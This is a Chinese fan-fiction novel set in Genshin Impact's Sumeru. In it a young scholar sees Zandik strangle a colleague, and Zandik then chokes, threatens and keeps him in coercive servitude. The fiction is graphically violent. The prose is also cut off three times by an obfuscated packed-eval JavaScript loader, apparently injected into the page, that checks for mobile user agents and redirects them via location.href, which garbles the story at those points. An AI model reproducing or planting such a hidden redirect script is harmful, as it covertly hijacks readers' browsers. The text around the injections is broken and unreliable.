《[原神]是博士!我没救了》 1. 第 1 章 语言是人性的外露。 这是我面对这个家伙时,脑海中唯一的想法。 尽管我这个所谓的关于语言的定义若是被知论派的人知道了,不免要追着我跑完须弥的十条街,然后再大骂我一句“狗屁不通”。 语言毫无疑问只是语言,天生来自于人的本性,成熟于社会。然而现在在我面前的这个人,善用巧言之语,他毫无疑问是一位天才,这位见习陀裟多,此次跟随我们来到降诸魔山研究这些古代机械群,此时正在以无比漂亮的语言,与我的前辈索赫蕾交谈着。 说是前辈,其实我与索赫蕾并不来自同一个派系,我出自须弥一个很普通的学术家庭,自然在进入教令院后,也承袭着父母的研究方向进入了因论派,申请加入这次的研究也只是因为此次探索的古机械群与我的研究方向有所关联罢了。 但这都是一些无关紧要的内容。 我的前辈,索赫蕾,与之交谈的男子,我记得名叫赞迪克。这是一位英俊的男子,按照前辈的说法,英俊且古板,于是索赫蕾前辈一直投其所好地寻找着与赞迪克的共同话题。 也就是这些自那场可怕的战争后,流落在提瓦特大陆的已逝文明的古代机械群。 我没有搭话,只是拨弄着面前的火堆。即使他们所谈论的内容在某种程度上与我的研究内容重叠。 这来自我的直觉判断:不要与眼前这个男人交往过深。作为一个弱小的学术分子,相信自己的直觉是我最好用的保命手段,当然,这样的直觉也在许多性命攸关的地方救了我,无论是这泛善可陈的前二十年,还是往后无尽的日子里。 “这是全新的物种,我准备把它带回教令院,并命名为‘纳西达德虫’。”索赫蕾用随行的容器装住捉住的甲壳虫,甲虫在容器里扑腾着,又渐渐安静下来。 “意为‘草神的恩赐’,不错的名字。”赞迪克似有深意地笑了笑。 生论派对他们所研究的动植物都倾付着令人难以想象的热情和爱护,这在我看来实在是难以感同身受,说实话,我对所有虫类都敬谢不敏。 不过赞迪克似乎来了点兴趣,尽管他的研究内容和这个八杠子打不着一起。 “带回去之后呢,是要进行更深入的研究吗?” 我的脑海中立马浮现出了“解剖”“标本”之类的东西。 “只是进行录入工作而已,不过我准备把它放进我的著作里,也许你们明年就能看到了。” “是吗,我很期待。” 赞迪克露出了略带期待的表情,眼神里的光却是完全相反。 心口不一的男人。 “这里的机械群落很庞大,里面或许能找到一些足够震撼的好东西。” “来自远古的,幸运存活的生物?” “不不不,”赞迪克轻慢地笑出声,“能够触碰到这个世界本质的,有关真相的东西,说不定能找到这种东西也说不定,再不济,关于那个文明崩落的阴影,那个无神的国度,遭受如此令人心惊的天罚,其背后的真相,以及来自天上的权威,究竟为何要如此针对一个文明……总之,是比多足的爬虫更意义非凡的……” 索赫蕾对他口中“多足的爬虫”的表述颇为不满,并严肃地指正表示生论派研究自然的奥秘,自然界的动植物都无什么高低贵贱之分,像赞迪克这样对生论派研究轻视的态度必须改正。 赞迪克笑着应下了,说自己再不会犯。 于是接下来赞迪克再没有提过关于那座遗迹多一个字的内容。 我感到有些遗憾。 其实我对他口中“遭上天嫉恨而崩落的文明”有些兴趣,感觉类似于听到谁谁出轨被绞杀的八卦新闻一样。 至于作为因论派对历史的敬畏的好奇? 实在抱歉,我上课其实都不听课来着。至于所谓的学者精神,更是无从谈起。 我有些怅然,不断拨弄着火堆,看着偶尔溅起的火花发呆。 那边索赫蕾已经迅速被赞迪克三言两语哄好,两个人甚至约好了要偷偷一起去遗迹群里面探险。 索赫蕾似乎对赞迪克颇有好感。我指的是男女之情的那种。 所以我没有插任何一句嘴,更不会没有眼色地询问“我能不能一起去”这样没头脑的问题,索赫蕾和赞迪克两个人也很理所当然地忽视了我。 只是两人分开时赞迪克看了我一眼。 有些怪异。我心里有点疑惑,但是随着赞迪克收回视线很快释然。 他可能只是惊讶于我的识眼色吧。 我乐观地想。 隔天索赫蕾离开前专程找了我一趟,希望我答应她不要把她和赞迪克私自离队这件事情告诉贤者莎娜玛,作为报答,她答应我回去后请我在兰巴德酒馆吃饭。 我并无拒绝的必要,并送上了希望约会顺利的祝福。 “你这小子。”索赫蕾有些害羞,但脸上的笑意藏都藏不住,“别人都说你木讷不懂人言,我看你倒是懂得很。” 怀春的少女眼波潋滟,十分动人。 我被说得有些红了脸。 “我走了。” “学姐再见。” 索赫蕾的身影远去。 这次的研究工作并不繁重,教令院的学者又向来喜欢独来独往,所以大家都是和自己熟悉的人结队,我自己一个人在分配的营地呆着,当日并未出去做任何研究采集。 直到天色暗淡,我没能等到索赫蕾或是赞迪克的回归,心下便有些着急了。 再晚些贤者会挨个来点名,那时候这两人要是还没回来的话,他俩私自离开的事情可能会暴露。说不定作为包庇者的我也会遭受牵连。 我有些心焦,心里顿时有些后悔答应了索赫蕾。 好在担心的情况并未发生,索赫蕾很快便回来了,只是情况比较惨烈。 索赫蕾被长鬓虎袭击了,性命垂危。 这是我听到的消息。 等我赶到的时候,索赫蕾躺在简易的担架上,血肉模糊,意识昏迷。周围围着一大群人,大家都不敢去动索赫蕾。 我也看见了赞迪克,他站在一边解释着什么,对面是贤者莎娜玛。 “抱歉,索赫蕾好奇那座古遗迹,于是约我一起去探险,但没想到……”赞迪克英俊的脸上露出恰到好处的惋惜和后悔,“遗迹里不知道为何有长鬓虎,索赫蕾一时不慎……” 莎娜玛几乎要气得晕厥过去:“我早就说过不许私自离队!你们都把我的话当成耳旁风吗?” “还有你!”莎娜玛看见走来的我,更生气了。 “是你帮索赫蕾隐瞒的对吧!” “是……”我畏惧地缩了缩脖子。 “出发前一再强调的安全事项,全给我不当回事是吧?你们眼里还有没有老师?既然不想听从安排,就自己组队研究!” “索赫蕾学姐她……” “你还好意思问,索赫蕾现在伤势严重,研究队这次出来也没有带专业的药物,只能做些简单的治疗,能不能撑到回去,得看她自己了。” 莎娜玛气得不轻,连多看我一眼也不想了,那边索赫蕾伤势突然恶化,她又忙着过去了,留下我和赞迪克在原地。 我看着赞迪克,这个男人脸上的悲痛还挺真切的,只是莎娜玛一走,又显得敷衍了许多,可能只剩下40%那种。 “你说是索赫蕾学姐好奇……” “当然。”赞迪克像是突然意识到了还有我这么一个人存在一样,“她好奇,所以来主动邀请我的。有什么问题吗?索赫蕾跟你说过的吧?” 索赫蕾只跟我说了要和赞迪克一起去古遗迹,依照索赫蕾想要主动和赞迪克发展关系的事来看的话,好像确实很可能是索赫蕾主动提出的邀约。 “没什么问题。”我悻悻回复。 “你是叫‘塔德纳’是吗?如果我没记错的话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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之后的研究乏善可陈,出了索赫蕾的事情,大家都不太高兴。索赫蕾的生死虽然和我没什么关系,但我也没了什么研究的心思,整日无所事事地呆在营地,准备把这几天熬过去。 赞迪克和往日没什么差别,早出晚归,听说他偶尔会去看看索赫蕾的情况。 我问过他索赫蕾现在如何了,赞迪克回以“情况逐渐稳定下来了,只是仍然在昏迷,不过看如今的恢复速度,说不定过两天就能醒来了,真是好事”。 说着“真是好事”,语气却没有多少喜气的样子。我不置可否。 就在我以为事情会这样平稳到我们回教令院的时候,意外发生了,那座沉睡在不远之处的机器人不知为何苏醒,我们的营地被波及,瞬间乱作一团。 混乱当中,我只顾着拉扯上自己前几天的研究资料,拼命地往外跑去。 幸好我手脚快,因为下一秒,我就看见那大机器人发射的炮弹落在了这附近,把我的帐篷整个掀飞。赞迪克那边虽然离得不远,倒是没被牵连多少,我腿软地扒着赞迪克的帐篷,心里感叹自己的好运。 我准备去找贤者他们,于是平复了呼吸,朝着记忆里的方向走去,我对方向实在不太敏感,但是我记得路径上应该会经过索赫蕾正在养伤的地方。 在路过那里的时候我看了一眼在帐篷里,没有人,连索赫蕾都不在了,想来应该是撤离的时候一起被带走了。 如此想着,我打算继续前进,却在此时听到了细碎的呜咽声,这声音,如同濒临死亡的动物发出的,我有些害怕,循着声音发出的方向找去。 缓缓扒开身前的灌木,我看到了足以令人心脏停跳的惊骇场面。 满身绷带的索赫蕾躺在地上,被死死地掐住脖子,因为缺氧,脸色已然完全发紫,眼球突出,嘴角不受控制地流出口水。 而骑身于索赫蕾之上的人,猩红的瞳孔兴奋地紧缩着,那熟悉的薄荷绿发色,正是赞迪克! 我脑袋发懵,瘫坐在地上。 赞迪克缓缓转过头,猩红如鲜血的双眼死死地盯着我,仿若恶鬼。 2. 第 2 章 “是你?原来你还活着,太好了。” 赞迪克说着“太好了”,但我听着觉得他其实想说“太不好了”。 毕竟就算是变态杀人狂,也应该不太想要被目击自己正在杀人的一幕。 索赫蕾很快咽气了,脖颈上是又深又紫的掐痕,像是一道麻绳一样,盘亘在她的脖子上。 我在慌乱爬行离开的过程中被赞迪克死死拉着小腿拽了回去,那双刚掐死索赫蕾的手现在也落到了我的脖子上。窒息的感觉涌来,我拼命挣扎着,但乱蹬的双腿很快被赞迪克用自己的双腿固定,即使是我这样的男子,面对赞迪克的束缚也丝毫挣脱不开,箍在脖子上的手如同钢筋一般。 “放……放开我……呜呜……” 我痛哭流涕,双手挥舞着拍打赞迪克。 这个平日里装得人模狗样,一丝不漏的混蛋在这一刻终于露出了皮囊下的面容,犹如恶鬼一样,要将我撕开来吃掉。 在我满盈泪水模糊的视线里,只剩下那双眼睛,那双猩红的眼睛,因为杀戮的快感,急速收缩颤动着,如同黑夜的鬼火。 “我……我可以保密……呜呜,我不会说……说出去的,求你……求你……” 我卑微地恳求着,越来越稀薄的空气几乎让我感觉脑子都要坏掉了。 赞迪克嗤笑一声:“保密?我只相信死人。” “求你……求你求你……求你……” 要活下去!快点啊!要活下去! 我的大脑一刻不停地向我传达着求救的信号。 “求你放过我……我可以,我可以……给你当牛做马……我……” “我知道……你的理念……我很赞同……” 脖子上的手骤然一松。 “哦?” 我抓紧说道:“你的理念……‘优化的人’,我知道……他们都不能理解你,但我可以!我可以!” “你?就凭你?” 更加猛烈的窒息感袭来,我被掐得甚至有种脖子都要断裂的错觉。 赞迪克近乎是在冷笑:“就凭你?” 他咬牙切齿,恨不得将我大卸八块:“你这样的家伙,没有半分的才华,胆小怕死,唯唯诺诺,恐怕只是想要活命,才不得不说‘认可我’,‘理解我’这样的鬼话吧!” 我无法反驳,一是他说的完全正确,我对什么学者的观点没有丝毫兴趣,对我而言,在教令院拿到一分文凭,之后凭借这份文凭谋求一份不错的工作才是我的目标。至于什么“优化的人”,“人只是足够复杂的机器”,我根本就不在意。哪怕哪天告诉我这个世界是完全虚假的,大家都是演员,按照剧本扮演角色,对我而言,也只是如同“今天的温度比起昨天下降了一度”的小事而已。 第二则是,我感觉我已经看到死亡的背影了,连挣扎的力气都没有了,眼前泛着黑斑。 我想,生死有命,富贵在天,或许我的死亡就在今日,那么既然已经如此安排,我也已经尽了求救的努力,死亡无法改变,我也只能接受。 就在我等待死亡的时候,赞迪克又突然放开了我,他站起来,俯视着我。 “算了。” 我如获新生,虽然因为眼泪和长时间的窒息什么都看不见,但我还是飞快地手脚并用爬到赞迪克脚下,边磕头边表忠心:“多谢大人,多谢大人……大人我以后就是你的狗,你说往东我绝不往西,多谢大人……” 赞迪克有些嫌弃地踹了我一脚,我摔在地上,但还是强迫自己露出讨好的笑容。 我仰躺在地上,赞迪克便一脚踩上来,鞋尖踩着我的下颌。 “你最好保证你说的一直是真的。” “是的,大人,是的。” “回去知道怎么说吧?” “我知道的,我知道的,大人!” 这件事情最后以不知名的歹人袭击了我和索赫蕾为结局结束,贤者莎娜玛虽然对赞迪克仍有疑惑,但有我这个“受害者”从旁作证,加上赞迪克的口才,很快便被遮掩过去。在进行了草率的解剖后,索赫蕾的尸体被草草收敛。 与此同时,在赞迪克的帮助下,研究队躲过了许多次危险,最终,那台大机器人能量耗尽停火了,尽管研究队损失惨重,但好歹不至于完全灭亡。 赞迪克提出想要将大机器人拖回教令院进行解体研究和反向重建测试,被贤者莎娜玛斥责了他僭越的想法,还剥夺了本次研究的署名权。 这场危机重重的研究以研究队的紧急撤离为结局,我心神惊惶地跟随大部队回去,到家后陷入了整日整夜的失眠和惶恐。 在我自闭的第三天,邻居带着风纪官踹开了我的房门,阳光透过门缝洒进来,我条件反射性地眯起眼睛。 太刺眼了。 “太好了,我担心死你了,你在家里三天不出门,我还以为你出了什么意外。” 邻居阿玛尔是一位淳朴老实的妇女,平时里对我照顾有加,我自从搬离父母家来到这里后,便结识了这位好心的妇人。 “抱歉,阿玛尔阿姨。”三天滴水未进的嗓子像是有干抹布在摩擦一样,我现在难受得要死,见到这位对我十分慈爱的妇人的时候,忍不住想起幼时母亲的怀抱。 我想起母亲,想起阿玛尔阿姨对我的照顾,但脑海又很快被赞迪克那双猩红色的眼睛,以及他沾染鲜血的、死死禁锢我的双手占据。 附骨之疽般的窒息感再度涌来。 我好像难以呼吸,脑海中剩下的念头迫使我将赞迪克的罪行,以及赞迪克对我做出的事,对索赫蕾学姐做出的事说出来。 而且…… 而且风纪官也在这里…… 或许…… 或许! “太谢谢你了,赞迪克先生,多谢你帮我找来风纪官,否则靠我自己,恐怕想不到要怎么救出塔德纳来。” “呵呵,举手之劳而已。” 我的血液唰一下变得冰凉。 此刻,我的双眼才刚刚适应了太阳的光亮,我抬头看去,几乎要克制不住双手的颤抖。 是赞迪克…… 是…… 赞迪克! “塔德纳,我的孩子,你的脸色怎么如此苍白。”阿玛尔被我的样子吓了一大跳,蹲下用力地抱住我,干燥温暖的双手抚摸着我的脸颊和耳朵。 “天呐,我可怜的孩子,你的脖子……我听说你被歹人袭击差点死去,实在是太不幸了。” 我几乎无法分辨出外界传来的声音,长时间紧绷的大脑让我现在有些神经兮兮的,而在赞迪克这张脸出现的那一瞬,我的大脑响起了危险的警报。 “快,快离开这里……”我突然挣脱开阿玛尔的怀抱。 可怜的妇人,被正是神经敏感的青年猛然推到了地上,痛地轻呼了一声,心里还担忧着青年的状况。 “我的孩子,塔德纳,他这是怎么了?”阿玛尔心痛地问道。 “我想他只是受到的惊吓太甚,或许我们应该给他一点时间来恢复。”赞迪克扶起这位妇人,脸上一派怜悯和同情。 “放心吧,阿玛尔太太,您先和风纪官离开吧,我会留下来劝劝塔德纳的。” “可是,塔德纳……” “哎,阿玛尔太太,我想塔德纳应该也不想在自己精神混沌的时候伤害到您。放心吧,我是塔德纳的朋友,我会照顾好他的。” 赞迪克脸上维持着虚伪的笑容,不过藏得很好,无论是风纪官,或是单纯的阿玛尔太太,无不被他精湛的演技迷惑。 阿玛尔或许不知道她正在将塔德纳推向更可怕的深渊。 这位妇人思索过后觉得赞迪克的提议很有道理。 “太好了,塔德纳有你这样的朋友真好。这孩子不善言辞,我一直担心他遭受霸凌。” 阿玛尔用手帕抹了抹眼泪。 “怎么会?”赞迪克轻笑了一声,将阿玛尔引至屋外交给风纪官,还顺手带上了门。“塔德纳是一个心地善良的老实人,虽然于学术上天资有限,但他为我的研究提供了许多支持,我很感激他。” “太好了太好了。那就拜托你照顾他了。” “好。” 赞迪克笑着应付了一声,眼神跟随着阿玛尔,直到确认人已经走远,才骤然冷下脸来,他拉开门,顺手反锁,抬脚一脚踹在我的腹部。 “呜……” 这一脚力道着实不轻,我被踹得头晕眼花,倒在地上,胃里一阵翻涌,吐出苦水来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14875948|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 赞迪克欺身而上,用力地扼住我的喉咙,猩红的眼睛即使在黑暗里也泛着光,看得我头皮发麻。 “怎么,回来就把自己关在屋子里生怕别人不知道你有异常?你想干什么?被风纪官发现后检举我?说我杀了索赫蕾,还威胁了你!” 赞迪克厉声斥问着,带着森森寒气的样子像是从地狱爬出来的恶鬼。 “你这个骗子!胆小的懦夫!活命的时候什么都能够说出来,被放过一马就该有被别人役使的觉悟!你想要反悔了?想要把自己说过的话又吞回去?!哪里来的这种好事!” “呜……我,我没有……” 本来就没处理的脖子又被掐住,痛上加痛,我疼得眼泪唰唰直掉。 “你不是说要当我的狗,我要你干什么你就干什么吗?” “呜呜,对……” 我有些喘不过气来,伸手去扯赞迪克的手,想让他松开。 赞迪克冷笑了一声,手上力道更甚,训狗一样发出命令:“不许挣扎!” 我犹豫了一下,听话地把手收回去,窒息感愈发严重,我几乎是死死地控制着求生的本能。 不能违抗赞迪克的命令! 脑海中的声音如此一遍又一遍地强调着。 赞迪克或许是对于我快死了还能控制自己的样子颇为满意,又或者是被我狂掉眼泪的狼狈死相逗开心了,总之,他大发慈悲地松开了力道,只是手仍然环着我的脖子。 赞迪克的手很大,我俩虽是年纪相差不大的青年,但赞迪克的身形要比我大出一圈来。 此刻他跪坐在我身上,神色倨傲,像是猎豹在巡视自己嘴下的猎物。 “你让我很生气。” 我的身体下意识地颤抖了一下。 赞迪克似乎被我的反应取悦到了,声音里都带了丝笑意。 这个疯子,正常的时候就如同上流社会的贵族一般,声音如同最昂贵的大提琴发出来的声音,令人陶醉。 “你似乎短暂地忘记了你对我的承诺,但我并不介意。” “我想你一定知道未来该怎么做,如何服侍我,如何取悦我,这就是你未来的工作,明白吗?” 宽大的手掌轻佻地拍了拍我的脸。 “要是稍有违背,我就当着你的面杀了那个阿玛尔,还有你的父母,然后再天天折磨你,让你生不如死,明白吗?” 我颤抖着点了点头。 赞迪克对我的识时务很满意,起身打开了灯,冰冷的室内光对我而言有些过于刺眼,我忍不住抬手遮挡了一下眼睛。 一个瓷瓶被漫不经心地扔过来,砸到我的面前。 “把你的脖子擦擦,这么见人像什么样子。” “谢谢大人!”我爬起来磕了个头,才敢把瓷瓶捡起来。 虽然是随手扔给我这样一个“卑贱之人”的药,但赞迪克也没有丝毫吝啬的意思,给我的药也是时下最好最贵的药。 我拿着药想要去卫生间擦。 赞迪克正在巡视我的房子,脸上时不时露出挑剔的目光,眼光瞥见我站起来:“你干什么去。” “回大人,我想去卫生间擦药。” 赞迪克发出不耐烦的啧声。 我瑟缩了一下脖子。 “就在这里擦。” 赞迪克脸色又变得很糟糕,我想可能是因为我没能及时猜出他的心思,实在是有些怠慢。 “是,大人。” 于是我留在原地,因为没有镜子,所以我便将药膏均匀地涂满了整个脖子。 我想这并无任何不妥,被赞迪克掐过两次后,我的脖子几乎已经快疼得麻木了,涂药膏的时候甚至能摸到往下的凹陷。 我的脖子或许已经和被掐死的索赫蕾脖子一样了,只是她已经死了,而我还活着,甚至被赞迪克收入麾下成为了小弟。 不过索赫蕾的死状倒是可以为我涂药的时候提供一些位置支持。 我涂完药,赞迪克朝我挥了挥手,于是我又乖顺地走到他脚边跪下。 赞迪克掐着我的下巴欣赏了一会儿我的脖子,然后松开,轻轻踢了踢我的手臂。 “去收拾东西,也把自己收拾一下,然后搬到我那边去。” 3. 第 3 章 学者们一般都会有教令院分配的住房,不过赞迪克的住房是自己置配的,位置也比较偏僻,是那种死个人可能都会半个月没人发现的那种。 来之前我的脑海中预想了很多,比如什么疯狂杀人魔的恐怖地下室,或者黑医用来解剖尸体的小黑屋。 赞迪克的通身气质实在是令人忍不住会联想到以上的东西。 不过令人意外,都没有。 赞迪克的住所出乎意料得正常。 两室一厅一厨一卫,正进门的客厅,桌子上散落着零件,餐厅的桌子上遗留着早上吃完还未收拾的碗筷,书架上摆放着种类和数量都十分惊人的书籍,各学派的都有,甚至还有一些民间杂谈。 感恩赞迪克大人,允许我睡在客卧,而不用自己找个角落蹲着,或者干脆自挂东南枝,节省地面空间。 赞迪克每日的事情并不繁琐,近些天更是一直呆在书桌旁研究那一堆从古机械群带回来的零件。 我派不上什么用场,便每日负责些打扫卫生和做饭的事务,赞迪克也不挑剔,偶尔从餐馆外带食物回来他也不会说什么。 赞迪克像个人的时候还挺像个人的。 我如此评价。 …… 这样的生活过去半月,我到了要提交论文开题答辩的日子,于是向赞迪克告了假,赞迪克正好也要去教令院,有一个关于古文明和技术的讲座,他有些兴趣。 于是我俩结伴到了教令院,在门口分别。 分别时,赞迪克提醒我:“在外注意言辞,最近风纪官似乎又在调查索赫蕾的事情了。”说到这里,他神色有些躁郁。 “呵,一个死人,还要这么兴师动众。” 我又想起赞迪克杀索赫蕾时的狰狞神色,脖子上还未彻底消散的於痕有些幻痛,忍不住缩了缩脖子。 “是,大人。” “结束后来找我。” “是。” 赞迪克很快离开,他的名气不低,毕竟很多人都知道他那惊世骇俗的言论和主张。须弥是一个把学术视为家庭资源的地方,赞迪克的倒行逆施不仅贤者看不惯,连下面的人也对他多加远离。 很多人都对赞迪克避之不及,连带着我也被惊异的眼光看了好几眼。 我把头埋在胸口前,只专心走自己的路。 答辩的过程并不算长,毕竟学生很多,但老师的时间有限,每个人也就轮到了差不多十分钟的时间,花两分钟讲完自己的大纲,然后剩下八分钟都在被老师毫不留情地批评。 不过我如今强大的心理状态已经可以支撑我面不改色地听完这些难听的话了。 这其中赞迪克功不可没。 结束后,我又下来听了一下其他人的研究,心里面有了些底。 答辩结束,老师叫住了准备离开的我。 “塔德纳。” “老师您好。” 我的这位老师在本学派资历深厚,虽然于学术上比较严苛,但私底下其实是一位很关心学生的好老师。 “最近的生活如何,还过得好吗?” 除了每天都要担心自己会不会被赞迪克掐死外,没什么不好的。 但我不能这么说,于是只能寡淡地答一句:“挺好的。” “你的父母一直都很关心你,得了空记得回去看看。” 是的,我的老师其实和我的父母是旧识,所以对我照顾有加。 “我知道了。” 这位已经年过半百的资深学者看着眼前有些唯唯诺诺的青年,忍不住叹气:“你不要怪你的父母,他们对你严苛,也只是想要你好而已,你性格又像你爸,看着好欺负,其实心里是个倔的家伙。” “父母年老便没多少时间可以和子女相谈了,珍惜相处的时间,不要落下最后的遗憾才是。” 我的心里一阵泛酸。 我其实早已不怨恨父母,尽管他们总将自己的思想不由分说地压在我的头上,我选了不喜欢的学派,不喜欢的道路,一直循着他们指定的路,但距离闹崩的时间已经过去许多年,我搬离父母家后更是平静了下来,偶尔也会怀念幼时和父母在一起的时光。 不过我其实并不能去见父母,以前是过不去心里那道坎,现在则是被赞迪克软禁在身边,自身尚且不自由,回家也只会给父母徒带去危险而已。 我嘴上称是,胸口闷闷的喘不过气。 “你最近似乎和那位赞迪克走得很近。” 我一瞬间有些精神紧绷:“是的。有什么问题吗?” 老师上上下下地仔细打量着我,虽岁数已大,但眼神依旧好使,或者说有点好使得过头了。 我惶恐地低着头,几乎不敢与他对视。 “老师无权干涉你的交友情况。但你也清楚吧,赞迪克的主张,以及他的名声,你与他相交,要多注意自己的安全,不要完全将身心托付对方。” 想来老师恐怕听到了一些赞迪克不好的言论。如今索赫蕾之死的事情又闹了起来,赞迪克这个在索赫蕾受伤和死亡都在场的家伙经受怀疑毫不意外。 风纪官迟迟没有将他定为凶手的原因恐怕也只是还没有找到赞迪克直接动手的证据,以及,我这个“受害者”曾经为他做出了辩护,如今还与其相交。 从老师那里出来后我感到有些恍惚。 我的内心痛苦于赞迪克的压迫,也痛苦于不能将赞迪克的罪行和自己的遭遇告诉他人,否则我身边的人都会遇到不可挽回的毁灭。 我无法改变这样的格局,清醒地无能着。甚至还要委身于赞迪克这个杀人魔,这个凶手,这个罪犯,疯子。 我内心一片冰凉,只能勉强维持面上的平静。走出教令院的时候又想起赞迪克让我答辩结束后去找他。 站在门口,初夏的太阳洒在我脸上,明明是不冷的温度,我的身体却轻轻瑟缩着,一片冰寒。 我摸了把脸,又回去去找赞迪克。 赞迪克去听讲座的大厅并不算远,我到门口的时候赞迪克正在台上侃侃而谈,青年人大谈着自己的主张,神色恣意,还带着对其他人的不屑和轻蔑。 “人不过是更为复杂的机器罢了,机器能够通过升级零部件变得更加全能和便捷,那么,如果通过相似的方式来提升人的肌理强度,人或许也可以用自己的拳头砸碎石头;同理,将眼睛替换成精度更高的摄像头,人将不用局限于视线的距离和视野,甚至,连身后都可以随时看到。通过这样的方式,创造更完美的人,更强大的人,甚至达到改变基因传承的最终结果……” 里面吵得厉害,很多人都在斥责赞迪克的想法,就连老师都有些绷不住。 “邪魔外道!” “这,这,人就是人,机器只是机器,如何能把人看成机器一样东改一块西改一块的,不像样。” “这是违背伦理的!赞迪克这个不顾人伦的疯子!” “就连人的性命都可以罔顾……怪物……” 诸如此类的话数不胜数。 我对纲常伦理没什么想法。不过赞迪克于生物和机械一道确实造诣颇深,他介绍着自己在古机械群的发现,那些来自于逝落文明的技术,无比精确,令人赞叹。 他甚至给出了一份用机械零件给□□升级的方案。 从逻辑而言甚为完备,赞迪克拼接的机械部件能在一定元素力的驱动下活动,如果接入人体,且那个人能活下来的话,说不定真的能达到提升□□强度的级别。 不过我暂时没看到赞迪克是否有提出解决排异问题和能源驱动问题的方法。 没人在意赞迪克的方案。 教令院提出的六宗根源之罪,从人类进化之事道慢言奥秘而心无惧怕之事,此六罪乃是万般罪责之根源,也是须弥学术界的禁忌。 赞迪克所行所为,其言论观点,无论再精彩,再出人意料,甚至是此学派开天辟地第一人,都不能越界这六宗罪。 红线之外,万人指责。 学者们义愤填膺,又碍于风纪官在场不能直接上去揍人,不过赞迪克的发言很快被风纪官打断,在赞迪克接受批评教育的时候,那些一肚子气的学者都唯恐避之不及地离座退场。 我退得远了些,好不在大门那挡道,很多人看到我都认出我是那个和赞迪克最近关系密切的家伙,咬牙切齿,但我一心当缩头乌龟,他们也只是狠狠地瞪了我一眼离开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“怎么,你们心怀不满,却不敢来找我本人对峙,是不想吗?” 那群人心怀不满,又不敢当着风纪官的面干什么,只骂了一句:“怪物!” 赞迪克冷笑:“蠢猪看谁都是怪物。” “你!” “好了,都不准打架!散了散了!” 那些人一哄而散。 赞迪克伸手把我拽起来,眼神挑剔地上上下下检查着我。 “你是哑巴吗?还是傻子?别人都把你欺负成这样了你还不还嘴不动手?” 我低着头:“对不起,大人。” 赞迪克对我消极不反抗的态度十分看不惯眼,看起来恨不得给我两脚,把我当场踹死在这里。 他脸色扭曲着,沉默了一会儿,拽着我的领子把我掼在墙上,掐着我的脖子迫使我与他对视。 周围响起轻声的惊呼,似乎有人在幸灾乐祸。 “嘿,狗咬狗!” 赞迪克恶狠狠地瞪过去,那些人避之不及地散开。 我的脖子又在疼了,本来就没好,赞迪克还偏偏喜欢这么掐我。 “塔德纳,不准在外面丢我的脸,知道吗?”赞迪克背着光,脸色恐怖。 “是,大人。” “别人打你你就还手,骂你你就咬回去。你不是狗吗?连这个都不会?” “会的,我以后会的……呜……” “你的主人只有我,知道吗?”赞迪克如此说着,鼻尖几乎和我的蹭到了一起。 我避无可避,鼻尖全是赞迪克的气息,那双锐利的眼睛,如同恶魔的血色双眼里映着我懦弱的脸庞。 “是,主人。”我忍不住哭出来。 赞迪克不肯放过我,伸手把我的眼泪用力擦掉,恶狠狠地威胁:“不准哭!再哭就把你眼球都挖出来!” 我吓得一哆嗦,强迫自己止住哭泣。 但脖子疼得要命,脑袋也一抽一抽得疼,让人受不了。 “大人……” “什么事?” “我脖子疼……” 赞迪克松开对我的桎梏,仔细看着我伤痕累累的脖子。那里又是青青紫紫的一片。 赞迪克知道我是易留伤痕的体质,但每次都会忍不住来掐脖子,留下的可怖伤痕如同狗的项圈一样,时刻提醒着我的归属权。 “呵,疼了才好,疼了才知道自己是谁的狗。”赞迪克如是说。 4. 第 4 章 因为此前的风波,以及最近的流言,赞迪克被暂时禁止了学术交流活动。不过苦于没有证据,风纪官也没法禁锢人家的人身自由,所以赞迪克便收拾了行李,跑去水天丛林研究“法留纳传说”去了。 当然,我也在一起。 我对“法留纳传说”不感兴趣,也一无所知。 赞迪克自然也没有扶贫支教的打算,但还是把我捎带上了,因为此前我父母找了过来想要带走我,虽然被我敷衍过去,但赞迪克也因此对我看得越发紧张。 我已经很久没能得到允许单独出门了。 越是与赞迪克相处,越是能够了解这个疯子的核心,如今的我或许已经成了十分之一成熟的“赞迪克的狗”,能够偶尔帮他打打下手,也不再因为一些小事不合他的心意被责骂。 不过,赞迪克最近似乎有些心绪不佳,可能是因为没能在水天丛林找到太多关于“法留纳传说”的线索,不过那毕竟只是传说中的东西,调查不太理想也算预料之中的结果。 而另一个原因,我猜想,或许是因为城内的风声。 有风纪官出现在水天丛林,似乎是来找赞迪克的人马。 赞迪克说得对,索赫蕾就算死了也依然麻烦。 我跟着赞迪克辗转换了几个营地,又在雨林里徒劳无功地转了几圈,最终在一个山洞落脚。 我替赞迪克垫好干燥的羊皮毯,点上油灯,然后开始生火。 赞迪克在看自己的研究笔记。略显昏暗的灯光下,青年的双眸仔细而认真,也只有在这种时刻,才能感觉到这名青年出奇地年轻。 似乎还未成年。我估摸着。 赞迪克年少成名,是一路跳级的天才,和我这种连毕业论文都要绞尽脑汁的庸才不同,他的聪慧和心智实在是让人很难想起他的年龄。 “你一直在看我。”赞迪克放下笔记,和我对视,语气出奇地平静,甚至能品出一缕青涩来。 “对不起,大人!”我心里骤然慌乱,“我不是故意的!还请不要挖出我的眼球!” 我有些口不择言了。话出口的一瞬间又马上后悔。 赞迪克神色怪异地笑起来。 我冷汗直冒,眼眶酸酸地想哭,但想起赞迪克不喜欢看到我哭哭啼啼的,就马上跪下低头憋泪,免得被赞迪克看见我这幅窝囊的样子发火。 赞迪克伸腿,脚背抬着我的下巴让我抬头。 “过来一点。” 